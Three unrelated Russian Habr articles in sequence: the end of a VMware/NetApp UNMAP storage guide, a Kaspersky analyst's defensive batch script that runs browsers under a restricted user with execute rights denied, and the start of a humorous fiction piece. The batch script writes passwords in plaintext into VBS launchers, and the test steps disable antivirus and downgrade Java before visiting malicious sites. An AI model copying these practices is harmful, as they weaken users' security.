После чего нужно включить *unmap* со стороны ESXi, для этого нужно отмапить и примапить датастор, чтобы ESXi обнаружил поддержку UNMAP (если там остались ВМ в запущенном состоянии, они завершат работу некорректно и возможно будут повреждены, так что их стоит или временно выключить или временно мигрировать):
```
esxcli storage filesystem unmount -l myDatastore
esxcli storage filesystem mount -l myDatastore
esxcli storage vmfs unmap -l myDatastore
```
После этого, чтобы высвобождать пространство, нужно будет периодически запускать команду:
```
esxcli storage vmfs unmap -l myDatastore
```
Важно отметить, что [UNMAP работает только для лунов отформатированных со смещением партиции кратное 1 MB](http://kb.vmware.com/kb/2057513). Что это значит? Это значит, что, если вы когда-то конвертировали VMFS3 в VMFS5, UNMAP работать не будет. Проверить это просто, конвертированные VMFS3 имеют таблицу разбивки MBR, а VMFS5 которые были созданы заново имеют разбивку GPT.
```
# esxcli storage core device partition showguid
Example output:
Device Partition Layout GUID
-------------------------------------------------------------
naa.60a98000486e574f6c4a5778594e7456 0 MBR N/A
naa.60a98000486e574f6c4a5778594e7456 1 MBR N/A
naa.60a98000486e574f6c4a5052537a7375 0 GPT 00000000000000000000000000000000
naa.60a98000486e574f6c4a5052537a7375 1 GPT aa31e02a400f11db9590000c2911d1b8
```
Обратите внимение на колонку Layout.
Проверить смещение тоже не сложно, смотрим на длинну сектора. Напомню сектор равен 512 байтам.
```
# esxcli storage core device partition list
Example output:
Device Partition Start Sector End Sector Type Size
-------------------------------------------------------------------------------------
naa.60a98000486e574f6c4a5778594e7456 0 0 3221237760 0 1649273733120
naa.60a98000486e574f6c4a5778594e7456 1 128 3221225280 fb 1649267277824
naa.60a98000486e574f6c4a5052537a7375 0 0 3221237760 0 1649273733120
naa.60a98000486e574f6c4a5052537a7375 1 2048 3221237727 fb 1649272667648
```
Обратите внимание на колонки *«Start Sector»* и *«End Sector»*. Итак, последнее устройство *naa.60a98000486e574f6c4a5052537a7375* имеет смещение 1MB (2048 сектора\*512 =1048576 byte = 1024KB). А вот второе устройство *naa.60a98000486e574f6c4a5778594e7456* имеет смещение которое не кратно 1MB, оно явно меньше, UNMAP на нем работать не будет.
Проверить поддерживается ли UNMAP (*Delete Status*) можно так:
```
# esxcli storage core device vaai status get -d naa
Example output:
naa.60a98000486e574f6c4a5052537a7375
VAAI Plugin Name: VMW_VAAIP_NETAPP
ATS Status: supported
Clone Status: supported
Zero Status: supported
Delete Status: supported
```
#### Автоматическое высвобождение пространства в vSphere 6.5
Автоматическое высвобождение пространства назад в тонкий лун на СХД поддерживается начиная с vSphere 6.5. Для каждого VMFS-6 датастора можно назначать приоритет высвобождения пространства High/Mid/Slow, которое будет возвращено хранилищу в течении 12 часов. Запуск высвобождения пространства и настройку приоритизаци для VMFS-6 датастора можно также выполнить вручную из графического интерфейса или из командной строки.
```
esxcli storage vmfs reclaim config get -l DataStoreOnNetAppLUN
Reclaim Granularity: 248670 Bytes
Reclaim Priority: low
esxcli storage vmfs reclaim config set -l DataStoreOnNetAppLUN -p high
```
#### UNMAP из гостевой ОС.
Итак, ранее мы рассмотрели удаление виртуальных машин из датастора. Логично было бы сделать тоже самое при удалении блоков данных изнутри гостевой ОС, а не целиком виртуальной машины или её дисков. UNMAP поддерживается на стороне СХД с ONTAP и для того, чтобы работал механизм UNMAP при удалении данных с VMDK, т.е. изнутри гостевой ОС, со стороны хранилища дополнительно ничего реализовывать не требуется, достаточно чтобы UNMAP был включён. Необходимо, чтобы гипервизор мог транслировать эту информацию от виртуальной машины к хранилищу что выполняется полностью на SCSI уровне. Итак *начиная с ESXi 6.0 теперь есть возможность передавать информацию об удалённых блоках внутри гостевой ОС.*
Для работы UNMAP изнутри виртуальной машины необходимо соблюсти следующие условия и иметь:
* Virtual Hardware Version 11
* VMFS6
* vSphere 6.0\*/6.5
* лун СХД должен быть тонким
* виртуальные диски виртуалки должны быть тонкими
* файловая система гостевой ОС должна поддерживать UNMAP
* [для vSphere 6.0 CBT должен быть выключен](https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1031873)
* включить UNMAP на гипервизоре, если необходимо: *esxcli storage vmfs unmap -l myDatastore*
* включить UNMAP на СХД
#### ~~Never~~ Thin on Thin
Многие годы все вендоры СХД говорили не создавайте тонкие виртуальные диски на тонких лунах. Но теперь это изменилось и для того, чтобы высвобождать блоки изнутри виртуальной машины необходимо иметь тонкие виртуальные диски и тонкий лун на СХД. В версии vSphere 6.0 был реализован функционал возврата удалённых блоков изнутри гостевой ОС, но имел [ряд ограничений при использовании UNMAP](http://cormachogan.com/2015/05/07/vsphere-6-0-storage-features-part-8-vaai-unmap-changes/), к примеру не поддерживались Linux машины. В vSphere 6.0 и более старых версий с [VMFS, функция UNMAP автоматически не запускается](http://kb.vmware.com/kb/2112333), нужно запускать команду вручную.
##### Windows Guest OS support
Для того, чтобы работало высвобождение пространства изнутри гостевой ОС Windows, файловая система NTFS обязана быть отформатирована с размером allocation unit равным 64КБ.
##### Linux Guest OS SPC-4 support
Виртуальные машины с Linux поддерживающие SPC-4 и работающие на vSphere 6.5 теперь также смогут возвращать высвобожденное пространство изнутри виртуальной машины назад в хранилище.
Как проверить поддерживает ли ваша линукс машина высвобождение пространства?
**Проверка поддержки SPC-4 в виртуальной машине Linux**Для этого запустите команду
```
sg_vpd -p lbpv
Logical block provisioning VPD page (SBC):
Unmap command supported (LBPU): 1
Write same (16) with unmap bit supported (LBWS): 0
Write same (10) with unmap bit supported (LBWS10): 0
```
Параметр **Unmap command supported (LBPU)** установленный в значение 1 означает, что используется тонкий диск, что нам и требуется. А значение 0 означает что тип виртуального диска thick (eager или sparse), с толстыми дисками функция UNMAP работать не будет.
```
sg_inq /dev/sdc -d
standard INQUIRY:
PQual=0 Device_type=0 RMB=0 version=0x02 [SCSI-2]
[AERC=0] [TrmTsk=0] NormACA=0 HiSUP=0 Resp_data_format=2
SCCS=0 ACC=0 TPGS=0 3PC=0 Protect=0 [BQue=0]
EncServ=0 MultiP=0 [MChngr=0] [ACKREQQ=0] Addr16=0
[RelAdr=0] WBus16=1 Sync=1 Linked=0 [TranDis=0] CmdQue=1
length=36 (0x24) Peripheral device type: disk
Vendor identification: VMware
Product identification: Virtual disk
Product revision level: 1.0
```
Версия version=0x02 [SCSI-2] говорит о том, что UNMAP работать не будет, нам необходима версия SPC-4:
```
sg_inq -d /dev/sdb
standard INQUIRY:
PQual=0 Device_type=0 RMB=0 version=0x06 [SPC-4]
[AERC=0] [TrmTsk=0] NormACA=0 HiSUP=0 Resp_data_format=2
SCCS=0 ACC=0 TPGS=0 3PC=0 Protect=0 [BQue=0]
EncServ=0 MultiP=0 [MChngr=0] [ACKREQQ=0] Addr16=0
[RelAdr=0] WBus16=1 Sync=1 Linked=0 [TranDis=0] CmdQue=1
length=36 (0x24) Peripheral device type: disk
Vendor identification: VMware
Product identification: Virtual disk
Product revision level: 2.0
```
**Давайте проверим что UNMAP включён и работает:**Для этого запустим команду
```
grep . /sys/block/sdb/queue/discard_max_bytes
1
```
значение 1 говорит о том, что гостевая ОС уведомляет SCSI уровень об удалённых блоках с файловой системы.
Проверим высвобождается ли пространство при помощи UNMAP:
```
sg_unmap --lba=0 --num=2048 /dev/sdb
#или
blkdiscard --offset 0 --length=2048 /dev/sdb
```
Если вы получаете ошибку *«blkdiscard: /dev/sdb: BLKDISCARD ioctl failed: Operation not supported»* значит UNMAP не работает. Если же ошибки нет, то остаётся примонтировать файловую систему с ключём **discard**:
```
mount /dev/sdb /mnt/netapp_unmap -o discard
```
Важно помнить, что гипервизор VMware запускает UNMAP *асинхронно*, то есть с задержкой. Это означает, что на практике вы скорее всего, никогда не будете иметь занятое пространство 1:1, внутри гостевой ОС/на датасторе гипервизора и на луне СХД.
##### [VVOL](#VVOL)
Технология [VVOL](https://habrahabr.ru/post/279945/) начиная с версии vSphere 6.0, VM Hardware версии 11 и Windows 2012 GOS с файловой системой NTFS поддерживает автоматическое высвобождение пространства внутрь тонкого луна на внешнем хранилище, на котором расположена данная виртуальная машина.
Linux GOS поддерживающие SPC-4 установленные на VM Hardware версии 11 на vSphere 6.5 также смогут возвращать пространство изнутри виртуальной машины на тонкий лун СХД.
Это существенно улучшает утилизацию полезного пространства в SAN инфраструктуре, использующей Thing Provisioning и Hardware-assistant снепшоты.
Подробнее [о тюнинге ESXi 6.x для ONTAP](https://habrahabr.ru/post/314778/).
#### Windows (Bare Metal)
Поддержка команд UNMAP для этого семейства ОС началась с Windows Server 2012 с файловой системой NTFS. Для включения автоматического UNMAP используйте Windows Host Utility 6.0.2 и выше или ONTAP DSM 4.0 и выше. Для проверки включён ли UNMAP выполните `fsutil behavior query disabledeletenotify`. Состояние *DisableDeleteNotify = 0* означает что UNMAP возвращает блоки на ходу (in-band). Если у хоста подключены несколько лунов с несколких СХД, часть которых не поддерживает UNMAP, рекомендуется выключить его.
Подробнее [о тюнинге Windows Server для ONTAP](https://habrahabr.ru/post/243153/).
#### Linux (Bare Metal)
Linux дистрибутивы поддерживают UNMAP. NetApp официально поддерживает RHEL версии 6.2 и выше при помощи ключа *–o discard* команды *mount* и утилиты *fstrim*. Подробнее в [RHEL6 Storage Admin Guide](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html-single/Storage_Administration_Guide/index.html#idm8041736).
Подробнее [о тюнинге Linux Server для ONTAP](https://habrahabr.ru/post/245357/).
#### [Zombie](#Zombie)
До версии ONTAP 9 операции удаления файлов генерировалии так называемые Zombie сообщения. **ONTAP 8 & Zombie сообщения**Высвобождение удалённых блоков позволяет с одной стороны существенно экономить дисковое пространство, но с другой стороны если хост запросит у СХД высвободить больше количество блоков, к примеру, терабайты данных, ваша СХД будет выполнять это и не успокоится пока не закончит, а это дополнительная активность на СХД. Высвобождение терабайта данных особенно будет заметно на дисковых или гибридных (не All Flash) системах. Поэтому стоит осторожно относиться к удалению большего количества данных одним махом на таких системах (терабайт).
Если же вы попали в такую ситуацию, проконсультируйтесь с техподдержкой, возможно стоит увеличить значение *wafl\_zombie\_ack\_limit* и *wafl\_zombie\_msg\_cnt*. Если вам необходимо удалить все данные на луне, то лучше удалите на СХД целиком весь лун. All Flash системы, с другой стороны, намного менее восприимчивы к подобным запросам, и как правило, достаточно быстро и без усилий справляются с такими задачами.
##### Удаление файлов в ONTAP 9 и приоритизация
Напомню что ONTAP 9 была выпущена в мае 2016. В этой версии софта Zombie сообщения больше не генарируются для высвобождения пространства, вместо этого файл просто помечается для удаления. В связи с чем логика работы высвобождения пространства существенно изменилась:
* во-первых данные удаляются в фоне
* во-вторых появилась возможность приоритизации высвобождения пространство из тех вольюмов, которым больше это нужно т.е те у которых заканчивается пространство.
#### Выводы
Реализованная поддержка UNMAP, как на стороне гостевой ОС, хоста, так и на стороне хранилищ NetApp, позволяет более рационально утилизировать пространство в SAN окружении использующего Thin Provisioning и как следствие позволит более рационально использовать пространство СХД с аппаратными снепшотами. Поддержка UNMAP на уровне гипервизора, и тем более внутри гостевой ОС, существенно облегчит использование этих двух востребованных технологий.
Сообщения по ошибкам в тексте прошу направлять в ЛС. Замечания, дополнения и вопросы по статье напротив, прошу в комментарии. | https://habr.com/ru/post/271959/ | null | ru | null |
# Батники против эксплойтов
Доброго времени суток, многоуважаемый %USERNAME%. Меня зовут Голованов Сергей, и я всё еще являюсь ведущим вирусным аналитиком в «Лаборатории Касперского». Я понимаю, что название этого поста в корпоративном блоге компании может вызвать смех, грусть, а у некоторых даже эпилептический припадок, но дайте мне всё объяснить.
Я понимаю, что для всех батники выглядят как нечто очень простое и со времен AUTOEXEC.BAT уже практически забытое, в то же время эксплойты, если вы конечно не профессиональный исследователь уязвимостей, выглядят очень сложно и практически неправдоподобно, особенно для некоторых разработчиков. Но! В данном посте я постараюсь перевернуть эти представления и рассказать, что всё как будто наоборот. Батники чуть легче и сильнее по функционалу [brainfuck](http://en.wikipedia.org/wiki/Brainfuck)'а, а эксплойты не страшнее сортировки пузырьком на basic'е.
*(Осторожно! 3 МБ иллюстрированного потока сознания и куча скриптов)*
#### Как я до этого дошел?
Мне тут на глаза попалась коробка с Windows 7 x64 c минимальными системными требованиями в 2 ГБ оперативной памяти! И я тут подумал, неужели во всех этих гигабайтах не найдётся пары килобайт кода, которые могли бы защитить пользователей от такой напасти, как эксплойты и [Drive-by](http://en.wikipedia.org/wiki/Drive-by_download)? Это бич всех ОС от MS уже лет пять! Должны быть там средства для хоть какой-то защиты? Но как их заюзать, да еще и стандартными средствами? С помощью батников. А как? Чтобы это понять, нужно прочитать эту простыню до конца. 8)
#### Теория
В упрощенной теории срабатывания эксплойтов всё выглядит так: «что-то где-то посмотрели, что-то где-то послали, что-то где-то запустилось». В реальной жизни это часто выглядит так: пользователь, гуляя по интернетам, попадает на честно взломанный сайт, где ему вместе с полезной информацией отдают или JavaScript или редирект на JavaScript, который, анализируя USER-AGENT, информацию о плагинах и т.д. выдаёт пользователю эксплойт, который точно у пользователя сработает. После этого на машину пользователя сгружается троянец, запускается, прописывается в системе и начинает делать свои грязные дела.
**Завалявшаяся картинка от Google Anti-Malware Team о Drive-By для визуалов,
читающих на языке вероятного противника**
*(-СГ. Юля, подправь, пожалуйста, по смыслу следующее предложение, чтобы было понятно, и удали этот комментарий. -Редактор. По смыслу??? Да я после «выделяет себе память» уже ничего не понимаю. Сам подправь и удали этот комментарий.)*
Если копнуть чуть глубже, то оказывается, что в таких эксплойт-паках часто (практически всегда) полезная нагрузка выделяет себе память в процессе жертвы, ищет нужные системные функции, сохраняет файл из интернета на локаль и делает CreateProcess или очень редко — ShellExecute, при этом проблемы повышения привилегий перекладываются на то, что скачали. Всё в принципе просто и понятно. И чего с этим делать? Хватать ~~за пятую точку~~ за слабые места! Во всей этой схеме есть одно уязвимое место: неважно, какое приложение пробили, главное — запустить файл с троянцем. Таким образом, получается, что нам просто-напросто надо сделать так, чтобы на компьютере пользователя лишние файлы не запускались, и сделать это нужно стандартными средствами.
#### Стандартные средства
В Windows 7 есть несколько способов ограничить или расширить работу программ. Самыми популярными средствами, пожалуй, являются [ACL](http://en.wikipedia.org/wiki/Access_control_list) и всяческие политики.
**Наглядная схема SRP (Software Restriction Policies) от Microsoft**
В принципе, ни для кого не секрет, что можно создать специальную учетную запись пользователя, назначить ему специальные права в системе и гонять под ним потенциально уязвимые приложения. Пять минут руления мышкой — и всё готово. Проблема в том, что редкий пользователь будет этим заниматься, особенно, если это потребуется сделать админам на всех машинах в сети. Поэтому давайте-ка попробуем сделать батник, в котором сделаем примерно то же самое, только лучше, да еще так, чтобы пользоваться этим было удобно.
#### Батник
Итого: наш батник должен создать пользователя со стандартными правами, затем модифицировать эти права для запуска только определённого ПО и, наконец, сделать это прозрачно и удобно для пользователя. Начнем-с…
##### 1. Создать пользователя. Халява.
`net user saferun_user Passw0rd /add`
Имя пользователя и пароль здесь указаны только для примера, их надо будет обязательно разбавить %random%’ами, чтобы не оказалась, что у нас у всех пользователей батника одинаковые имена пользователей и пароли на машинах. А то получится этакий Backdoor.Bat.Hren.a, его еще детектировать придется…)))
##### 2. Модифицировать права. Э… а вот тут уже есть проблемы
По-хорошему назначать права на исполнение нужно [AppLocker](http://technet.microsoft.com/en-us/library/dd548340%28WS.10%29.aspx)'ом с помощью PowerShell’a, например так:
`PS C:\> Get-ApplockerFileInformation -Directory 'C:\Program Files (x86)\Adobe\' -Recurse -FileType Exe | New-ApplockerPolicy -RuleType Publisher -User SafeRun_user -RuleNamePrefix Adobe -Optimize -Xml > Adoby.xml
PS C:\> Set-AppLockerPolicy –XmlPolicy Adoby.xml`
Однако, вся эта хитрая хрень «is only available in Ultimate and Enterprise versions of Windows 7». Поэтому как альтернативу в Home версии Windows 7 можно использовать Parental Control ([ссылка на форум](http://ssj100.fullsubject.com/t306-parental-controls-as-an-srp-for-windows-7-home-users) — я не шучу), который хранит информацию о том, какие программы можно запускать в:
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Parental Controls\Users\UID\App Restrictions`
Значит, политики в топку, ибо неудобно, будем использовать ACL, тем более что, начиная с Vista’ы, появилась замечательная команда ICACLS. В принципе всё, что написано дальше, может быть спроецировано и на XP c помощью XCACLS, но по умолчанию такой команды в XP нет, и входит она только в пакет Resource Kit.
Итого, в Windows 7 cначала вынесем пользователя из группы по умолчанию, чтобы ограничить его возможности благодаря групповым разрешениям создавать файлы где попало:
`net localgroup users saferun_user /delete`
А теперь скажем, что, дорогой пользователь, ~~ты — неудачник~~, тебе запрещено запускать файлы из профайла, того единственного места, где тебе разрешено создавать файлы.
`icacls %USERPROFILE% /deny saferun_user:(OI)(IO)(WDAC,WO,X)`
*(-Редактор. Ты бы еще здесь попросил меня чего-нибудь проверить и подправить. Комментарии не забудь убить.)*
Параметры «(OI)(IO)» как бы говорят нам, что все файлы, находящиеся в указанной папке, наследуют права родителя, которые, собственно, Deny Execute. Проверяем, что выставленные права работают:
`C:\Users\Golovanov>runas /user: saferun_user cmd.exe
Enter the password for saferun_user:
Attempting to start cmd.exe as user “saferun_user" ...
C:\Windows\system32> cd %temp%
C:\Users\saferun_user\AppData\Local\Temp>%windir%notepad.exe
C:\Users\saferun_user\AppData\Local\Temp>copy c:\windows\notepad.exe .
1 file(s) copied.
C:\Users\saferun_user\AppData\Local\Temp>.\notepad.exe
Access is denied.`
Итого: Notepad.exe из папки Windows работает, а если его скопировать в папку TEMP и запустить, то ACCESS IS DENIED. Всё ОК. Идём дальше.
##### 3. Удобство использования
Для удобства использования нам нужно обеспечить поддержку прозрачного запуска для максимального количества разнообразных браузеров под новым пользователем. Делать это предлагаю так:
1. Скопировать профайл браузера текущего пользователя к новому пользователю. Например, для Firefox’а так:
`xcopy /E /I /C /Y /Q /H /R %APPDATA%\Mozilla\* C:\Users\saferun_user\AppData\Roaming\Mozilla\`
2. Создать в папке с браузером VBS файл, в котором прописать запуск Runas браузера. Делать это нужно через VBS, чтобы обойти ограничение по приёму пароля в STDIN к Runas’у. Прекрасный Microsoft сделал это, чтобы [повысить защищенность своей ОС](http://blogs.msdn.com/b/oldnewthing/archive/2004/11/29/271551.aspx). Как обычно, защищенность осталась под вопросом, а геморроя прибавилось. VBS файл при этом будет выглядеть, например, так:
`Option explicit
Dim oShell
set oShell= Wscript.CreateObject("WScript.Shell")
oShell.Run "RunAs /noprofile /user:saferun_user Firefox.exe"
WScript.Sleep 1000
oShell.Sendkeys "Passw0rd"
oShell.Sendkeys "{ENTER}"
Wscript.Quit`
Маленький комментарий. В интернетах пишут, что Sendkeys в некоторых версиях отсутствует или запрещен, однако у меня на Windows 7 Professional, Ultimate и Home всё работает. Продолжаем.
3. Создать ярлык на новосозданный VBS файл c иконкой браузера.
`Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\firefox_saferun.LNK"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\Program Files (x86)\Mozilla Firefox\firefox.vbs"
oLink.IconLocation = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe,0"
oLink.WorkingDirectory = "C:\Program Files (x86)\Mozilla Firefox\"
oLink.Save`
4. Заменить новым ярлыком все уже имеющиеся у пользователя ярлыки на браузеры. Шутка. Положим ярлыки в отдельную папку на рабочем столе, а там пользователь пусть сам решает.
#### Листинг батника
Итого вроде всё ОК, осталось это всё причесать и оттестить.
```
::Writed by: Sergey.Golovanov at kaspersky.com for habrahabr.ru
@echo on
@Echo This batch file will create a new user for browsers with no rights to run downloaded from Internet files.
Pause
::Setup new user::
set safeusername=saferun_user_%random%
set safepassword=%random%Ai%random%
echo Login: %safeusername%
echo Password: %safepassword%
net user %safeusername% /delete
del Browserlist4saferun.txt
net user %safeusername% %safepassword% /add
::init new user profile::
echo Option explicit > init_new_user_profile.vbs
echo Dim oShell >> init_new_user_profile.vbs
echo set oShell= Wscript.CreateObject("WScript.Shell") >> init_new_user_profile.vbs
echo oShell.Run "RunAs /profile /user:%safeusername% ping" >> init_new_user_profile.vbs
echo WScript.Sleep 1000 >> init_new_user_profile.vbs
echo oShell.Sendkeys "%safepassword%" >> init_new_user_profile.vbs
echo oShell.Sendkeys "{ENTER}" >> init_new_user_profile.vbs
echo Wscript.Quit >> init_new_user_profile.vbs
call cscript init_new_user_profile.vbs
ping -n 10 localhost >> nul
del init_new_user_profile.vbs
::Setup privileges for new user::
net localgroup users %safeusername% /delete
icacls c:\users\%safeusername%\ /deny %safeusername%:(OI)(IO)(WDAC,WO,X)
::Setup browsers::
:FindOpera
if exist %APPDATA%\Opera\ xcopy /E /I /C /Y /Q /H /R %APPDATA%\Opera\* C:\Users\%safeusername%\AppData\Roaming\Opera\
if exist "%Programfiles%\Opera\Opera.exe" goto run4opera
if exist "%Programfiles(x86)%\Opera\Opera.exe" goto run4operax86
Goto FindFireFox
:run4opera
echo Opera^|%Programfiles%\Opera>> Browserlist4saferun.txt
Goto FindFireFox
:run4operax86
Set Browsername=Opera
echo Opera^|%Programfiles(x86)%\Opera>> Browserlist4saferun.txt
Goto FindFireFox
:FindFireFox
if exist %APPDATA%\Mozilla\ xcopy /E /I /C /Y /Q /H /R %APPDATA%\Mozilla\* C:\Users\%safeusername%\AppData\Roaming\Mozilla\
if exist "%Programfiles%\Mozilla Firefox\Firefox.exe" goto run4Firefox
if exist "%Programfiles(x86)%\Mozilla Firefox\Firefox.exe" goto run4Firefoxx86
Goto FindChrome
:run4Firefox
echo Firefox^|%Programfiles%\Mozilla Firefox>> Browserlist4saferun.txt
Goto FindChrome
:run4Firefoxx86
echo Firefox^|%Programfiles(x86)%\Mozilla Firefox>> Browserlist4saferun.txt
Goto FindChrome
:FindChrome
If exist %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe goto run4chrome
Goto FindIE
:run4chrome
::// Can work for some versions of Chrome by not stable. Dissabled for performance.
::xcopy /E /I /C /Y /Q /H /R %LOCALAPPDATA%\Google\Chrome\* C:\Users\%safeusername%\AppData\Local\Google\Chrome\
::for /r C:\Users\%safeusername%\AppData\Local\Google\Chrome\ %%C in (*.exe) do icacls %%C /grant %safeusername%:(X)
::for /r C:\Users\%safeusername%\AppData\Local\Google\Chrome\ %%C in (*.dll) do icacls %%C /grant %safeusername%:(X)
::echo Chrome^|C:\Users\%safeusername%\AppData\Local\Google\Chrome\Application\>> Browserlist4saferun.txt
Goto FindIE
:FindIE
::// TODO A lot of XCOPYs
if exist "%LOCALAPPDATA%\Microsoft\Internet Explorer" (
xcopy /E /I /C /Y /Q /H /R "%USERPROFILE%\Favorites\*" "C:\Users\%safeusername%\Favorites\"
xcopy /E /I /C /Y /Q /H /R "%LOCALAPPDATA%\Microsoft\Internet Explorer\*" "C:\Users\%safeusername%\AppData\Local\Microsoft\Internet Explorer\"
xcopy /E /I /C /Y /Q /H /R "%LOCALAPPDATA%\Microsoft\Windows\History\*" "C:\Users\%safeusername%\AppData\Local\Windows\History\"
xcopy /E /I /C /Y /Q /H /R "%APPDATA%\Roaming\Microsoft\Windows\Cookies\*" "C:\Users\%safeusername%\AppData\Roaming\Microsoft\Windows\Cookies\"
)
if exist "%Programfiles(x86)%\Internet Explorer\iexplore.exe" goto run4iex86
if exist "%Programfiles%\Internet Explorer\iexplore.exe" goto run4ie
:run4iex86
echo IExplore^|%Programfiles(x86)%\Internet Explorer>> Browserlist4saferun.txt
goto MakeLinks
:run4ie
echo IExplore^|%Programfiles%\Internet Explorer>> Browserlist4saferun.txt
::Make links::
:MakeLinks
rd /s /q %USERPROFILE%\Downloads\Browser
rd /s /q %USERPROFILE%\Desktop\SafeLinks
mklink /d %USERPROFILE%\Downloads\Browser C:\Users\%safeusername%\Downloads
mkdir %USERPROFILE%\Desktop\SafeLinks
echo on
For /f "tokens=1,2 delims=|" %%A in (Browserlist4saferun.txt) do (
echo Option explicit > "%%B\%%A.vbs"
echo Dim oShell >> "%%B\%%A.vbs"
echo set oShell= Wscript.CreateObject^("WScript.Shell"^) >> "%%B\%%A.vbs"
echo oShell.Run "RunAs /user:%safeusername% %%A.exe" >> "%%B\%%A.vbs"
echo WScript.Sleep 1000 >> "%%B\%%A.vbs"
echo oShell.Sendkeys "%safepassword%" >> "%%B\%%A.vbs"
echo oShell.Sendkeys "{ENTER}" >> "%%B\%%A.vbs"
echo Wscript.Quit >> "%%B\%%A.vbs"
echo Set oWS = WScript.CreateObject^("WScript.Shell"^) > "%USERPROFILE%\Desktop\SafeLinks\%%A.lnk.vbs"
echo sLinkFile = "%USERPROFILE%\Desktop\SafeLinks\%%A_saferun.LNK" >> "%USERPROFILE%\Desktop\SafeLinks\%%A.lnk.vbs"
echo Set oLink = oWS.CreateShortcut^(sLinkFile^) >> "%USERPROFILE%\Desktop\SafeLinks\%%A.lnk.vbs"
echo oLink.TargetPath = "%%B\%%A.vbs" >> "%USERPROFILE%\Desktop\SafeLinks\%%A.lnk.vbs"
echo oLink.IconLocation = "%%B\%%A.exe,0" >> "%USERPROFILE%\Desktop\SafeLinks\%%A.lnk.vbs"
echo oLink.WorkingDirectory = "%%B\" >> "%USERPROFILE%\Desktop\SafeLinks\%%A.lnk.vbs"
echo oLink.Save >> "%USERPROFILE%\Desktop\SafeLinks\%%A.lnk.vbs"
)
for /r %USERPROFILE%\Desktop\SafeLinks\ %%p in (*.vbs) do cscript %%p
for /r %USERPROFILE%\Desktop\SafeLinks\ %%v in (*.vbs) do del %%v
:: Open Explorer with links::
explorer %USERPROFILE%\Desktop\SafeLinks\
:: Create Uninstall::
echo @echo off > uninstall_%~n0.bat
echo net user %safeusername% /del >> uninstall_%~n0.bat
echo rd /s /q %USERPROFILE%\Downloads\Browser >> uninstall_%~n0.bat
echo rd /s /q %USERPROFILE%\Desktop\SafeLinks >> uninstall_%~n0.bat
echo rd /s /q C:\Users\%safeusername%\ >> uninstall_%~n0.bat
echo For /f "tokens=1,2 delims=|" %%%%A in (Browserlist4saferun.txt) do del "%%%%B\%%%%A.vbs" >> uninstall_%~n0.bat
echo del Browserlist4saferun.txt >> uninstall_%~n0.bat
echo del %%0 >> uninstall_%~n0.bat
:Exit
```
#### Тестирование
Ну-с, а теперь попробуем, как это всё работает в дикой природе:
1. Выключаем антивирус и даунгрейдим, например, JAVA (чета мне сразу не по себе стало).
2. Копипастим батник из листинга.
3. Сохраняем его как saferun.bat, делаем глубокий вдох и кликаем на него два раза.
4. Мигают консоли и открывается окно эксплорера. Смотрим на окно с ярлыками и много думаем.
5. Выбираем любой браузер. Идём на Youtube, проверяем, что всё работает, кликается и т.д.
6. Теперь идём на Google и ищем «Самый популярный браузер рунета» (это мне сестра показывала, как скачать порно-блокер бесплатно). Кликаем на несколько ссылок, и наш компьютер начинает подозрительно трещать. Ждём минуту. Вроде ничего страшного не произошло. Смотрим в Process Explorer и видим, что наш браузер запустил JAVA.exe, который успешно унаследовал нашего нового пользователя.
[](http://img-fotki.yandex.ru/get/4606/126183829.2/0_7ea80_6254450c_orig)
7. Теперь идём во временную директорию нового пользователя и видим там следующее…
[](http://img-fotki.yandex.ru/get/4402/126183829.2/0_7ea81_fdd2966e_orig)
8. Проверяем права на файл «\_\_\_\_991.exe»
[](http://img-fotki.yandex.ru/get/4606/126183829.2/0_7ea82_cb5f7173_orig)
9. Отрываем cmd.exe под созданным пользователем. Пароль для него можно посмотреть, например, в VBS скрипте рядом с EXE’шником браузера
[](http://img-fotki.yandex.ru/get/4703/126183829.2/0_7ea83_4fa16e44_orig)
10. Делаем cd %temp% в новой консольке и пишем «.\\_\_\_\_991.exe». Жмём Enter!
[](http://img-fotki.yandex.ru/get/5601/126183829.2/0_7ea84_c5323946_orig)
11. УРА-УРА!!! Это победа.
12. Кому интересны подробности, то
```
C:\Users\saferun_user_31714\AppData\Local\Temp>d:\md5.exe ____991.ex
____991.ex : 04DA16B5447D8F2B4BD23AFD469FB153
```
Если бы этот файл запустился, то мы бы увидели веселые картинки и просьбу поработать с платёжным терминалом.
#### Вместо заключения
Итого наш батник будет очень полезен для защиты от Drive-by атак и эксплойтов при работе с Windows 7 как из-под админа, так и под простым пользователем. Да, у него есть теоретическое ограничение на полезные нагрузки с повышением привилегий, но такое в дикой природе благо редко встречается. Плюсы при работе с батником — его можно очень быстро править и добавлять в него поддержку новых программ, таких как почтовые клиенты, офисные программы и т.д. Настройка, гибкость, клёвость и крутость очень важны, и мы в ЛК это прекрасно понимаем.
Спасибо большое, что дочитали этот поток сознания автора до конца и еще ни разу не нажали на минус. 8) Удачи!
**ПС.** Данный батник не имеет никакого отношения к SafeBrowser’у, входящему в продукты ЛК.
**ППС.** Батник создаёт очень удобный Uninstall — на случай если что-то вдруг пошло не так.
**ПППС.** Как обычно в комментариях тусуется доброжелательный пользователь [k1k](http://habrahabr.ru/users/k1k/), который выдаёт себя за автора статьи. Так оно и есть. Спасибо! | https://habr.com/ru/post/137304/ | null | ru | null |
# [Пятничное] Требуются системный программист с высоким болевым порогом. Высокая З/П
#### `**[9:45]**`
«Требуются системный программист с высоким болевым порогом. Высокая З.П.»
Может быть года два назад, увидев такое объявление в рекламной брошюрке, я бы улыбнулся и пролистал дальше. Ну, может быть сфотал и запостил к себе в ленту. Однако нынешнее финансовое положение вынудило обращать внимание на любые возможности. Не то чтобы я бросался на любую вакансию, но уж точно прочитывал и вникал.
Сегодня у меня назначено два собеседования, почему бы не сходить и на третье. Я позвонил и согласовал время — девять вечера. Нужно было ехать в академгородок в институт биофизики.
#### `**[21:07]**`
– Наша сеть активных сенсоров, установленная на пути от таламуса к соматосенсорной коре головного мозга, позволит…
Уже минут двадцать, пара аспирантов института биофизики пытались объяснить мне суть своей разработки. Я толком ничего не понял кроме того, что они хотят залезть мне под черепную коробку и что-то туда установить. В отдалении сидела профессор, которая наконец решила взять общение со мной в свои руки:
